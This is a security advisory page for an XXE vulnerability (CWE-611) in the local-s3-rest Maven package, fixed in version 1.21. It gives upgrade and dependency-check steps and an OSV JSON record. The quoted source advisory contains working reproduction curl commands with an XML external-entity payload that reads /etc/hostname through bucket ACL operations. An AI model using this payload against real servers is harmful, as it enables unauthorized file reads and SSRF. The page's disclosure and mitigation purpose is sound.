GHSA-2466-4485-4pxj: Local s3 rest LocalS3 Project Bucket Operations Vulnerable Vulnerability

MODERATE
CWE-611
Published
Advisory Summary

GHSA-2466-4485-4pxj is a MODERATE locals3 project bucket operations vulnerable vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting Local s3 rest libraries in the Maven ecosystem. The issue involves locals3 project bucket operations vulnerable to xml external entity (xxe) injection. Remediation is available by upgrading affected packages to version 1.21.

GHSA-2466-4485-4pxj at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-2466-4485-4pxj
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-611: Improper Restriction of XML External Entity Reference
Affected Product Local s3 rest
Package Ecosystem Maven
Published Date
Last Updated

How to Fix GHSA-2466-4485-4pxj

To remediate this vulnerability, upgrade all affected Local s3 rest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.github.robothy:local-s3-rest fixed: 1.21
<dependency>
    <groupId>io.github.robothy</groupId>
    <artifactId>local-s3-rest</artifactId>
    <version>1.21</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.github.robothy

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-2466-4485-4pxj, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.github.robothy

Analyze the terminal output to locate any version of Local s3 rest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.21), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.github.robothy command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In Local s3 rest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem. The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server. This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors. ## Steps to Reproduce 1. Create a test bucket using PUT request to http://[server]/[bucket-name] ``` curl -X PUT "http://app/xxe-test-bucket2"``` ``` 2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload: ``` curl -X PUT "http://app/xxe-test-bucket2?acl" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE AccessControlPolicy [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <AccessControlPolicy> <Owner> <ID>&xxe;</ID> <DisplayName>test</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"> <ID>test</ID> <DisplayName>test</DisplayName> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy>' ``` 3. Send a GET request to `http://[server]/[bucket-name]?acl` to retrieve the bucket ACL ``` curl "http://app/xxe-test-bucket2?acl" ``` After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element. ## Mitigations - Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true - Disable DOCTYPE declarations in the XML parser configuration - Implement XML input validation and sanitization before processing - Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary ## Impact The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

GHSA-2466-4485-4pxj Affected Local s3 rest Versions

1 component(s)
Fixed Versions:
1.21
Product / Package Ecosystem Affected Versions Fixed Version
io.github.robothy:local-s3-rest
Maven
< 1.21
1.21

References

Frequently Asked Questions

What is GHSA-2466-4485-4pxj?
GHSA-2466-4485-4pxj is a security vulnerability in Local s3 rest involving LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection under CWE-611: Improper Restriction of XML External Entity Reference.
Which Local s3 rest versions are affected?
Affected versions include releases prior to 1.21 across affected packages: io.github.robothy:local-s3-rest.
What version fixes GHSA-2466-4485-4pxj?
Upgrading to 1.21 (or the latest patched release for your respective branch) resolves the vulnerability.
Is local-s3-rest affected?
Yes, io.github.robothy:local-s3-rest is affected in releases prior to 1.21. Upgrade your dependency to 1.21 or later.
What CWE is associated with GHSA-2466-4485-4pxj?
GHSA-2466-4485-4pxj is classified under CWE-611: Improper Restriction of XML External Entity Reference (The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.).
How can I check Maven dependencies for GHSA-2466-4485-4pxj?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.github.robothy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2466-4485-4pxj",
  "modified" : "2025-03-10T18:29:05Z",
  "published" : "2025-03-10T18:29:05Z",
  "aliases" : [ ],
  "summary" : "LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection",
  "details" : "## Description\n\nThe LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.\n\nThe vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.\n\nThis type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.\n\n## Steps to Reproduce\n\n1. Create a test bucket using PUT request to http://[server]/[bucket-name]\n\n    ```\n    curl -X PUT \"http://app/xxe-test-bucket2\"```\n    ```\n\n2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:\n   ```\n   curl -X PUT \"http://app/xxe-test-bucket2?acl\" \\\n   -H \"Content-Type: application/xml\" \\\n   -d '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n   <!DOCTYPE AccessControlPolicy [\n       <!ENTITY xxe SYSTEM \"file:///etc/hostname\" >\n   ]>\n   <AccessControlPolicy>\n       <Owner>\n           <ID>&xxe;</ID>\n           <DisplayName>test</DisplayName>\n       </Owner>\n       <AccessControlList>\n           <Grant>\n               <Grantee xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"CanonicalUser\">\n                   <ID>test</ID>\n                   <DisplayName>test</DisplayName>\n               </Grantee>\n               <Permission>FULL_CONTROL</Permission>\n           </Grant>\n       </AccessControlList>\n   </AccessControlPolicy>'\n   ```\n\n3. Send a GET request to `http://[server]/[bucket-name]?acl` to retrieve the bucket ACL\n\n    ```\n    curl \"http://app/xxe-test-bucket2?acl\"\n    ```\n\nAfter performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.\n\n## Mitigations\n\n- Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true\n- Disable DOCTYPE declarations in the XML parser configuration\n- Implement XML input validation and sanitization before processing\n- Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary\n\n## Impact\n\nThe vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.github.robothy:local-s3-rest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.21"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/security/advisories/GHSA-2466-4485-4pxj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Robothy/local-s3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-10T18:29:05Z",
    "nvd_published_at" : null
  }
}